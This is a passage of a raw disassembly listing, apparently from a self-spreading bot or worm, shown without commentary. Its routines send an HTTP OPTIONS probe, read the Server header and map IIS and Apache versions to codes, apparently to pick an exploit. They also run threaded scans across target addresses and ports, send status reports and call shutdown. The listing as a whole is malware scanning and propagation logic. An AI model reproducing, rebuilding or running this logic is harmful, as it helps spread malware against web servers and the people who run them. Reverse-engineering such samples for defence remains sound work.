dword_417200 ; shutdown push 3E8h call dword_41709C ; Sleep push [ebp+var_8] call sub_4053B1 pop ecx xor eax, eax locret_412E00: ; CODE XREF: sub_412D56+32j ; sub_412D56+56j ... leave retn 4 sub_412D56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412E04 proc near ; DATA XREF: sub_412F07+B0o var_1B8 = dword ptr -1B8h var_1B4 = dword ptr -1B4h var_1B0 = byte ptr -1B0h var_1AA = byte ptr -1AAh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B8h push 1ADh push [ebp+arg_0] lea eax, [ebp+var_1B4] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 1 lea eax, [ebp+var_1B0] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412E59 push [ebp+var_1B4] call sub_409763 pop ecx xor eax, eax jmp locret_412F03 ; --------------------------------------------------------------------------- loc_412E59: ; CODE XREF: sub_412E04+40j lea eax, [ebp+var_1B0] push eax mov eax, [ebp+var_1B4] push dword ptr [eax] push offset dword_41CC4C lea eax, [ebp+var_1AA] push eax call sub_40D53F add esp, 10h lea eax, [ebp+var_1B0] push eax push offset dword_41EAF4 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_412E8F: ; CODE XREF: sub_412E04+B7j ; sub_412E04:loc_412EEAj mov eax, [ebp+var_1B4] cmp dword ptr [eax+4], 0 jz short loc_412E9D jmp short loc_412EEC ; --------------------------------------------------------------------------- loc_412E9D: ; CODE XREF: sub_412E04+95j push 3E8h push [ebp+var_4] call sub_4048EF pop ecx pop ecx mov [ebp+var_1B8], eax cmp [ebp+var_1B8], 0FFFFFFFFh jnz short loc_412EBD jmp short loc_412E8F ; --------------------------------------------------------------------------- loc_412EBD: ; CODE XREF: sub_412E04+B5j cmp [ebp+var_1B8], 0 jnz short loc_412EC8 jmp short loc_412EEC ; --------------------------------------------------------------------------- loc_412EC8: ; CODE XREF: sub_412E04+C0j push [ebp+var_1B8] push offset sub_412D56 call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_412EEA push [ebp+var_1B8] call sub_4053B1 pop ecx loc_412EEA: ; CODE XREF: sub_412E04+D8j jmp short loc_412E8F ; --------------------------------------------------------------------------- loc_412EEC: ; CODE XREF: sub_412E04+97j ; sub_412E04+C2j push [ebp+var_4] call sub_404CBB pop ecx push [ebp+var_1B4] call sub_409763 pop ecx xor eax, eax locret_412F03: ; CODE XREF: sub_412E04+50j leave retn 4 sub_412E04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412F07 proc near ; CODE XREF: sub_40A9CF+F6Ep ; sub_41349C+2C7p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push 1ADh call sub_416B46 ; malloc pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_412F26 jmp locret_412FC4 ; --------------------------------------------------------------------------- loc_412F26: ; CODE XREF: sub_412F07+18j cmp [ebp+arg_4], 0 jz short loc_412F3A push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_C], eax jmp short loc_412F4E ; --------------------------------------------------------------------------- loc_412F3A: ; CODE XREF: sub_412F07+23j push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx mov [ebp+var_C], eax loc_412F4E: ; CODE XREF: sub_412F07+31j mov eax, [ebp+var_C] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_412F63 cmp [ebp+var_4], 0FFFFh jbe short loc_412F77 loc_412F63: ; CODE XREF: sub_412F07+51j push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx mov [ebp+var_4], eax loc_412F77: ; CODE XREF: sub_412F07+5Aj push 0Ah mov eax, [ebp+var_8] add eax, 4 push eax push [ebp+var_4] call sub_416F7A ; _itoa add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_8] add eax, 0Ah push eax call sub_405F67 pop ecx pop ecx push [ebp+var_4] push offset dword_41CC84 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_8] push offset sub_412E04 call sub_4095A4 add esp, 14h locret_412FC4: ; CODE XREF: sub_412F07+1Aj leave retn sub_412F07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412FC6 proc near ; CODE XREF: MEW:004168CBp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_412FD8 ; --------------------------------------------------------------------------- loc_412FD1: ; CODE XREF: sub_412FC6:loc_413088j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_412FD8: ; CODE XREF: sub_412FC6+9j mov eax, [ebp+var_4] imul eax, 3Ah cmp off_41CCD6[eax], 0 jz locret_41308D mov eax, [ebp+var_4] imul eax, 3Ah mov ecx, [ebp+var_4] imul ecx, 3Ah mov ecx, dword_41CCCE[ecx] and ecx, 0FFh mov eax, off_41CCD6[eax] sub eax, ecx mov ecx, [ebp+var_4] imul ecx, 3Ah mov off_41CCD6[ecx], eax mov eax, [ebp+var_4] imul eax, 3Ah and dword_41CCD2[eax], 0 loc_413024: ; CODE XREF: sub_412FC6+7Ej ; sub_412FC6+BEj call sub_410422 mov ecx, [ebp+var_4] imul ecx, 3Ah mov dword_41CCCE[ecx], eax mov eax, [ebp+var_4] imul eax, 3Ah cmp dword_41CCCE[eax], 0 jnz short loc_413046 jmp short loc_413024 ; --------------------------------------------------------------------------- loc_413046: ; CODE XREF: sub_412FC6+7Cj and [ebp+var_8], 0 jmp short loc_413053 ; --------------------------------------------------------------------------- loc_41304C: ; CODE XREF: sub_412FC6:loc_413086j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_413053: ; CODE XREF: sub_412FC6+84j mov eax, [ebp+var_8] imul eax, 3Ah cmp off_41CCD6[eax], 0 jz short loc_413088 mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jz short loc_413086 mov eax, [ebp+var_4] imul eax, 3Ah mov ecx, [ebp+var_8] imul ecx, 3Ah mov eax, dword_41CCCE[eax] cmp eax, dword_41CCCE[ecx] jnz short loc_413086 jmp short loc_413024 ; --------------------------------------------------------------------------- loc_413086: ; CODE XREF: sub_412FC6+A2j ; sub_412FC6+BCj jmp short loc_41304C ; --------------------------------------------------------------------------- loc_413088: ; CODE XREF: sub_412FC6+9Aj jmp loc_412FD1 ; --------------------------------------------------------------------------- locret_41308D: ; CODE XREF: sub_412FC6+1Fj leave retn sub_412FC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41308F proc near ; CODE XREF: sub_41331E+72p var_820 = dword ptr -820h var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = byte ptr -810h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 820h push 16h push offset aOptionsHttp1_0 ; "OPTIONS / HTTP/1.0\r\n\r\n" push [ebp+arg_0] call sub_4053BF add esp, 0Ch push 0EA60h push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_4130C4 xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_4130C4: ; CODE XREF: sub_41308F+2Cj push 0 push 800h lea eax, [ebp+var_810] push eax push [ebp+arg_0] call dword_417248 ; recv mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4130F3 cmp [ebp+var_8], 0FFFFFFFFh jz short loc_4130F3 cmp [ebp+var_8], 800h jnz short loc_4130FA loc_4130F3: ; CODE XREF: sub_41308F+53j ; sub_41308F+59j xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_4130FA: ; CODE XREF: sub_41308F+62j mov eax, [ebp+var_8] and [ebp+eax+var_810], 0 and [ebp+var_4], 0 push offset aServer ; "Server:" lea eax, [ebp+var_810] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_41312C xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_41312C: ; CODE XREF: sub_41308F+94j lea eax, [ebp+var_4] push eax push offset dword_418F4C push [ebp+var_10] call sub_40813C add esp, 0Ch mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_413150 xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413150: ; CODE XREF: sub_41308F+B8j lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_413173 xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413173: ; CODE XREF: sub_41308F+DBj lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov [ebp+var_C], eax push 0Dh push offset aMicrosoftIis ; "Microsoft-IIS" push [ebp+var_10] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_41323C and [ebp+var_818], 0 and [ebp+var_814], 0 lea eax, [ebp+var_814] push eax lea eax, [ebp+var_818] push eax push offset aMicrosoftIisU_ ; "Microsoft-IIS/%u.%u" push [ebp+var_10] call sub_416BA2 ; sscanf add esp, 10h cmp [ebp+var_818], 4 jnz short loc_4131E9 cmp [ebp+var_814], 0 jnz short loc_4131E9 push 4 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_4131E9: ; CODE XREF: sub_41308F+147j ; sub_41308F+150j cmp [ebp+var_818], 5 jnz short loc_413203 cmp [ebp+var_814], 0 jnz short loc_413203 push 3 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413203: ; CODE XREF: sub_41308F+161j ; sub_41308F+16Aj cmp [ebp+var_818], 5 jnz short loc_41321D cmp [ebp+var_814], 5 jnz short loc_41321D push 2 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_41321D: ; CODE XREF: sub_41308F+17Bj ; sub_41308F+184j cmp [ebp+var_818], 6 jnz short loc_413237 cmp [ebp+var_814], 0 jnz short loc_413237 push 1 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413237: ; CODE XREF: sub_41308F+195j ; sub_41308F+19Ej jmp loc_41331A ; --------------------------------------------------------------------------- loc_41323C: ; CODE XREF: sub_41308F+10Ej cmp [ebp+var_C], 0 jz loc_41331A push 6 push offset aApache ; "Apache" push [ebp+var_10] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_41331A and [ebp+var_820], 0 lea eax, [ebp+var_820] push eax push offset dword_41CD68 push [ebp+var_10] call sub_416BA2 ; sscanf add esp, 0Ch push 6 push offset dword_41CD60 push [ebp+var_C] call sub_416F80 ; _strnicmp add esp, 0Ch neg eax sbb eax, eax inc eax mov [ebp+var_81C], eax cmp [ebp+var_81C], 1 jnz short loc_4132BE push 7 push offset dword_41CD58 push [ebp+var_C] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jz short loc_4132BE xor eax, eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_4132BE: ; CODE XREF: sub_41308F+213j ; sub_41308F+229j cmp [ebp+var_820], 1 jnz short loc_4132D5 cmp [ebp+var_81C], 0 jz short loc_4132D5 push 6 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_4132D5: ; CODE XREF: sub_41308F+236j ; sub_41308F+23Fj cmp [ebp+var_820], 1 jnz short loc_4132EC cmp [ebp+var_81C], 0 jnz short loc_4132EC push 5 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_4132EC: ; CODE XREF: sub_41308F+24Dj ; sub_41308F+256j cmp [ebp+var_820], 2 jnz short loc_413303 cmp [ebp+var_81C], 0 jz short loc_413303 push 6 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_413303: ; CODE XREF: sub_41308F+264j ; sub_41308F+26Dj cmp [ebp+var_820], 2 jnz short loc_41331A cmp [ebp+var_81C], 0 jnz short loc_41331A push 5 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_41331A: ; CODE XREF: sub_41308F:loc_413237j ; sub_41308F+1B1j ... xor eax, eax locret_41331C: ; CODE XREF: sub_41308F+30j ; sub_41308F+66j ... leave retn sub_41308F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41331E proc near ; DATA XREF: sub_41349C+4EBo ; sub_413CB3+27Co var_14C = dword ptr -14Ch var_11A = dword ptr -11Ah var_112 = dword ptr -112h var_10E = dword ptr -10Eh var_10A = byte ptr -10Ah var_8A = dword ptr -8Ah var_86 = byte ptr -86h var_6 = byte ptr -6 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14Ch push 14Ch push [ebp+arg_0] lea eax, [ebp+var_14C] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 1 push [ebp+var_10E] call sub_404457 pop ecx pop ecx lea eax, [ebp+var_10A] push eax push [ebp+var_10E] call sub_4044F7 pop ecx pop ecx test eax, eax jnz short loc_413381 push [ebp+var_10E] call sub_40538D pop ecx xor eax, eax jmp locret_413498 ; --------------------------------------------------------------------------- loc_413381: ; CODE XREF: sub_41331E+4Ej cmp [ebp+var_112], 0 jz short loc_4133B1 push [ebp+var_10E] call sub_41308F pop ecx cmp [ebp+var_112], eax jz short loc_4133B1 push [ebp+var_10E] call sub_4053B1 pop ecx xor eax, eax jmp locret_413498 ; --------------------------------------------------------------------------- loc_4133B1: ; CODE XREF: sub_41331E+6Aj ; sub_41331E+7Ej cmp [ebp+var_8A], 1 jnz short loc_4133E0 lea eax, [ebp+var_6] push eax push [ebp+var_10E] call sub_404552 pop ecx pop ecx push offset dword_41EF18 lea eax, [ebp+var_86] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_413444 ; --------------------------------------------------------------------------- loc_4133E0: ; CODE XREF: sub_41331E+9Aj cmp [ebp+var_8A], 2 jnz short loc_413420 push 0Ah lea eax, [ebp+var_6] push eax push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch lea eax, [ebp+var_10A] push eax lea eax, [ebp+var_86] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_413444 ; --------------------------------------------------------------------------- loc_413420: ; CODE XREF: sub_41331E+C9j call sub_412D4C push eax lea eax, [ebp+var_6] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41EF18 lea eax, [ebp+var_86] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_413444: ; CODE XREF: sub_41331E+C0j ; sub_41331E+100j lea eax, [ebp+var_14C] push eax call [ebp+var_11A] cmp [ebp+var_8A], 1 jnz short loc_41346F push [ebp+var_10E] push [ebp+var_14C] call sub_412A3A pop ecx pop ecx jmp short loc_41348A ; --------------------------------------------------------------------------- loc_41346F: ; CODE XREF: sub_41331E+13Aj cmp [ebp+var_8A], 2 jnz short loc_41348A lea eax, [ebp+var_6] push eax lea eax, [ebp+var_86] push eax call sub_412BC9 pop ecx pop ecx loc_41348A: ; CODE XREF: sub_41331E+14Fj ; sub_41331E+158j push [ebp+var_10E] call sub_4053B1 pop ecx xor eax, eax locret_413498: ; CODE XREF: sub_41331E+5Ej ; sub_41331E+8Ej leave retn 4 sub_41331E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41349C proc near ; DATA XREF: sub_413AB0+1F4o var_774 = qword ptr -774h var_764 = qword ptr -764h var_75C = byte ptr -75Ch var_65C = byte ptr -65Ch var_658 = dword ptr -658h var_654 = dword ptr -654h var_650 = dword ptr -650h var_64C = byte ptr -64Ch var_648 = byte ptr -648h var_644 = dword ptr -644h var_640 = byte ptr -640h var_62C = dword ptr -62Ch var_628 = dword ptr -628h var_624 = byte ptr -624h var_51C = byte ptr -51Ch var_50E = dword ptr -50Eh var_50A = dword ptr -50Ah var_506 = dword ptr -506h var_502 = byte ptr -502h var_37B = byte ptr -37Bh var_37A = byte ptr -37Ah var_377 = byte ptr -377h var_36B = byte ptr -36Bh var_36A = byte ptr -36Ah var_35C = dword ptr -35Ch var_358 = dword ptr -358h var_354 = byte ptr -354h var_341 = byte ptr -341h var_296 = dword ptr -296h var_20C = byte ptr -20Ch var_20B = byte ptr -20Bh var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_107 = byte ptr -107h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 764h push edi push 2C9h push [ebp+arg_0] lea eax, [ebp+var_628] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_51C] push eax call sub_407A86 pop ecx movzx eax, al test eax, eax jz short loc_4134F5 push 14Ch push 0 lea eax, [ebp+var_358] push eax call sub_416B6A ; memset add esp, 0Ch jmp loc_4135BF ; --------------------------------------------------------------------------- loc_4134F5: ; CODE XREF: sub_41349C+3Cj and [ebp+var_62C], 0 jmp short loc_41350B ; --------------------------------------------------------------------------- loc_4134FE: ; CODE XREF: sub_41349C:loc_4135BAj mov eax, [ebp+var_62C] inc eax mov [ebp+var_62C], eax loc_41350B: ; CODE XREF: sub_41349C+60j mov eax, [ebp+var_62C] imul eax, 3Ah add eax, offset byte_41CCA8 push eax lea eax, [ebp+var_640] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_640] push eax call sub_4105FB pop ecx lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_640] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_4135BA mov eax, [ebp+var_62C] imul eax, 3Ah add eax, offset byte_41CCA8 mov [ebp+var_358], eax push 3Ah mov eax, [ebp+var_62C] imul eax, 3Ah add eax, offset byte_41CCA8 push eax lea eax, [ebp+var_354] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp+var_354] push eax call sub_4105FB pop ecx lea eax, [ebp+var_341] push eax call sub_4105FB pop ecx and [ebp+var_296], 0 lea eax, [ebp+var_341] push eax lea eax, [ebp+var_51C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_4135BF ; --------------------------------------------------------------------------- loc_4135BA: ; CODE XREF: sub_41349C+B0j jmp loc_4134FE ; --------------------------------------------------------------------------- loc_4135BF: ; CODE XREF: sub_41349C+54j ; sub_41349C+11Cj lea eax, [ebp+var_624] push eax call sub_40806A pop ecx test eax, eax jnz short loc_4135E3 push [ebp+var_628] call sub_409763 pop ecx xor eax, eax jmp loc_413AAB ; --------------------------------------------------------------------------- loc_4135E3: ; CODE XREF: sub_41349C+132j mov al, byte_41DE00 mov [ebp+var_20C], al push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_20B] rep stosd stosw stosb mov al, byte_41DE00 mov [ebp+var_108], al push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_107] rep stosd stosw stosb lea eax, [ebp+var_108] push eax lea eax, [ebp+var_624] push eax lea eax, [ebp+var_20C] push eax call sub_407F3D add esp, 0Ch test eax, eax jnz short loc_41364D push [ebp+var_628] call sub_409763 pop ecx xor eax, eax jmp loc_413AAB ; --------------------------------------------------------------------------- loc_41364D: ; CODE XREF: sub_41349C+19Cj push [ebp+var_506] call sub_404D10 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_413675 push [ebp+var_628] call sub_409763 pop ecx xor eax, eax jmp loc_413AAB ; --------------------------------------------------------------------------- loc_413675: ; CODE XREF: sub_41349C+1C4j cmp [ebp+var_358], 0 jz loc_413782 mov eax, [ebp+var_358] mov eax, [eax+32h] and eax, 1 test eax, eax jz loc_413782 call sub_4042FB mov [ebp+var_644], eax cmp [ebp+var_644], 0 jz short loc_4136B6 mov [ebp+var_296], 2 jmp short loc_4136C0 ; --------------------------------------------------------------------------- loc_4136B6: ; CODE XREF: sub_41349C+20Cj mov [ebp+var_296], 3 loc_4136C0: ; CODE XREF: sub_41349C+218j movsx eax, [ebp+var_36B] test eax, eax jz short loc_4136E5 mov eax, [ebp+var_358] mov eax, [eax+32h] and eax, 2 test eax, eax jnz short loc_4136E5 mov [ebp+var_296], 1 loc_4136E5: ; CODE XREF: sub_41349C+22Dj ; sub_41349C+23Dj movsx eax, [ebp+var_37B] test eax, eax jz short loc_4136FA mov [ebp+var_296], 2 loc_4136FA: ; CODE XREF: sub_41349C+252j movsx eax, [ebp+var_37A] test eax, eax jz short loc_41370F mov [ebp+var_296], 3 loc_41370F: ; CODE XREF: sub_41349C+267j cmp [ebp+var_296], 3 jnz short loc_41372B cmp [ebp+var_644], 0 jz short loc_41372B mov [ebp+var_296], 2 loc_41372B: ; CODE XREF: sub_41349C+27Aj ; sub_41349C+283j cmp [ebp+var_296], 3 jnz short loc_413782 mov al, [ebp+var_36A] mov [ebp+var_64C], al mov al, [ebp+var_377] mov [ebp+var_648], al mov [ebp+var_36A], 1 and [ebp+var_377], 0 push 0 lea eax, [ebp+var_502] push eax call sub_412F07 pop ecx pop ecx mov al, [ebp+var_64C] mov [ebp+var_36A], al mov al, [ebp+var_648] mov [ebp+var_377], al loc_413782: ; CODE XREF: sub_41349C+1E0j ; sub_41349C+1F4j ... push offset dword_41E2A8 call sub_409C6C pop ecx push [ebp+var_50E] lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_624] push eax push offset dword_41CE50 mov eax, [ebp+var_628] add eax, 14h push eax call sub_416B5E ; sprintf add esp, 14h push offset dword_41E2A8 call sub_409C7A pop ecx push [ebp+var_50E] lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_624] push eax mov eax, [ebp+var_628] push dword ptr [eax] push offset dword_41CE18 lea eax, [ebp+var_502] push eax call sub_40D53F add esp, 18h cmp [ebp+var_358], 0 jnz short loc_413807 push 3E8h call dword_41709C ; Sleep loc_413807: ; CODE XREF: sub_41349C+35Ej and [ebp+var_10C], 0 call sub_416B64 ; clock mov [ebp+var_35C], eax and [ebp+var_4], 0 loc_41381D: ; CODE XREF: sub_41349C+3F9j ; sub_41349C+44Bj ... mov eax, [ebp+var_628] cmp dword ptr [eax+4], 0 jnz short loc_413847 call sub_416B64 ; clock add eax, [ebp+var_4] sub eax, [ebp+var_35C] mov ecx, [ebp+var_50E] imul ecx, 3E8h cmp eax, ecx jb short loc_41384C loc_413847: ; CODE XREF: sub_41349C+38Bj jmp loc_413A43 ; --------------------------------------------------------------------------- loc_41384C: ; CODE XREF: sub_41349C+3A9j lea eax, [ebp+var_108] push eax lea eax, [ebp+var_20C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_108] push eax lea eax, [ebp+var_624] push eax lea eax, [ebp+var_20C] push eax call sub_407F3D add esp, 0Ch push offset dword_41EF18 lea eax, [ebp+var_20C] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_413897 jmp short loc_41381D ; --------------------------------------------------------------------------- loc_413897: ; CODE XREF: sub_41349C+3F7j push [ebp+var_8] push 0 lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_20C] push eax call sub_404FE7 add esp, 0Ch push eax call sub_404D4D pop ecx pop ecx mov [ebp+var_650], eax cmp [ebp+var_650], 0 jz short loc_4138EC call sub_416B64 ; clock add eax, [ebp+var_4] sub eax, [ebp+var_35C] mov ecx, [ebp+var_50E] imul ecx, 3E8h cmp eax, ecx jnb short loc_4138EC jmp loc_41381D ; --------------------------------------------------------------------------- loc_4138EC: ; CODE XREF: sub_41349C+42Bj ; sub_41349C+449j push [ebp+var_50A] call dword_41709C ; Sleep push [ebp+var_8] call sub_404E1C pop ecx test eax, eax jz loc_413A35 loc_413909: ; CODE XREF: sub_41349C+4BAj ; sub_41349C:loc_413A30j push [ebp+var_8] call sub_404F24 pop ecx mov [ebp+var_654], eax cmp [ebp+var_654], 0 jnz short loc_413926 jmp loc_413A35 ; --------------------------------------------------------------------------- loc_413926: ; CODE XREF: sub_41349C+483j mov eax, [ebp+var_10C] inc eax mov [ebp+var_10C], eax cmp [ebp+var_358], 0 jz short loc_4139B7 push 14Ch call sub_416B46 ; malloc pop ecx mov [ebp+var_658], eax cmp [ebp+var_658], 0 jnz short loc_413958 jmp short loc_413909 ; --------------------------------------------------------------------------- loc_413958: ; CODE XREF: sub_41349C+4B8j push 14Ch lea eax, [ebp+var_358] push eax push [ebp+var_658] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_658] mov ecx, [ebp+var_654] mov [eax+3Eh], ecx push [ebp+var_658] push offset sub_41331E call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_4139A5 push [ebp+var_658] call sub_416B4C ; free pop ecx jmp short loc_4139B5 ; --------------------------------------------------------------------------- loc_4139A5: ; CODE XREF: sub_41349C+4F9j push [ebp+var_8] push [ebp+var_654] call sub_404D9B pop ecx pop ecx loc_4139B5: ; CODE XREF: sub_41349C+507j jmp short loc_413A30 ; --------------------------------------------------------------------------- loc_4139B7: ; CODE XREF: sub_41349C+49Ej mov eax, [ebp+var_628] cmp dword ptr [eax+4], 0 jz short loc_4139C5 jmp short loc_413A35 ; --------------------------------------------------------------------------- loc_4139C5: ; CODE XREF: sub_41349C+525j lea eax, [ebp+var_75C] push eax push [ebp+var_654] call sub_4044F7 pop ecx pop ecx mov al, [ebp+var_36A] mov [ebp+var_65C], al and [ebp+var_36A], 0 lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_75C] push eax push offset dword_41CE04 lea eax, [ebp+var_502] push eax call sub_40D53F add esp, 10h mov al, [ebp+var_65C] mov [ebp+var_36A], al push 3E8h call dword_41709C ; Sleep mov eax, [ebp+var_4] add eax, 3E8h mov [ebp+var_4], eax loc_413A30: ; CODE XREF: sub_41349C:loc_4139B5j jmp loc_413909 ; --------------------------------------------------------------------------- loc_413A35: ; CODE XREF: sub_41349C+467j ; sub_41349C+485j ... push [ebp+var_8] call sub_404F7D pop ecx jmp loc_41381D ; --------------------------------------------------------------------------- loc_413A43: ; CODE XREF: sub_41349C:loc_413847j push [ebp+var_10C] call sub_416B64 ; clock sub eax, [ebp+var_35C] mov dword ptr [ebp+var_764], eax and dword ptr [ebp+var_764+4], 0 fild [ebp+var_764] fdiv flt_417270 push ecx push ecx fstp [esp+774h+var_774] lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_624] push eax push offset unk_41CDC0 lea eax, [ebp+var_502] push eax call sub_40D53F add esp, 1Ch push [ebp+var_8] call sub_404FD0 pop ecx push [ebp+var_628] call sub_409763 pop ecx xor eax, eax loc_413AAB: ; CODE XREF: sub_41349C+142j ; sub_41349C+1ACj ... pop edi leave retn 4 sub_41349C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413AB0 proc near ; CODE XREF: sub_40A9CF+BCBp var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 34h cmp [ebp+arg_4], 0 jz short loc_413AC2 cmp [ebp+arg_8], 0 jnz short loc_413AC7 loc_413AC2: ; CODE XREF: sub_413AB0+Aj jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413AC7: ; CODE XREF: sub_413AB0+10j push [ebp+arg_8] call sub_407A86 pop ecx movzx eax, al test eax, eax jz short loc_413AEB push [ebp+arg_8] call sub_40422A pop ecx test eax, eax jnz short loc_413AE9 jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413AE9: ; CODE XREF: sub_413AB0+32j jmp short loc_413B45 ; --------------------------------------------------------------------------- loc_413AEB: ; CODE XREF: sub_413AB0+25j and [ebp+var_14], 0 jmp short loc_413AF8 ; --------------------------------------------------------------------------- loc_413AF1: ; CODE XREF: sub_413AB0:loc_413B43j mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_413AF8: ; CODE XREF: sub_413AB0+3Fj mov eax, [ebp+var_14] imul eax, 3Ah movsx eax, byte_41CCA8[eax] test eax, eax jnz short loc_413B0E jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413B0E: ; CODE XREF: sub_413AB0+57j mov eax, [ebp+var_14] imul eax, 3Ah add eax, offset byte_41CCA8 push eax lea eax, [ebp+var_28] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_28] push eax call sub_4105FB pop ecx push [ebp+arg_8] lea eax, [ebp+var_28] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_413B43 jmp short loc_413B45 ; --------------------------------------------------------------------------- loc_413B43: ; CODE XREF: sub_413AB0+8Fj jmp short loc_413AF1 ; --------------------------------------------------------------------------- loc_413B45: ; CODE XREF: sub_413AB0:loc_413AE9j ; sub_413AB0+91j cmp [ebp+arg_C], 0 jz short loc_413B59 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_2C], eax jmp short loc_413B60 ; --------------------------------------------------------------------------- loc_413B59: ; CODE XREF: sub_413AB0+99j mov [ebp+var_2C], 15180h loc_413B60: ; CODE XREF: sub_413AB0+A7j mov eax, [ebp+var_2C] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_413B75 cmp [ebp+var_4], 15180h jbe short 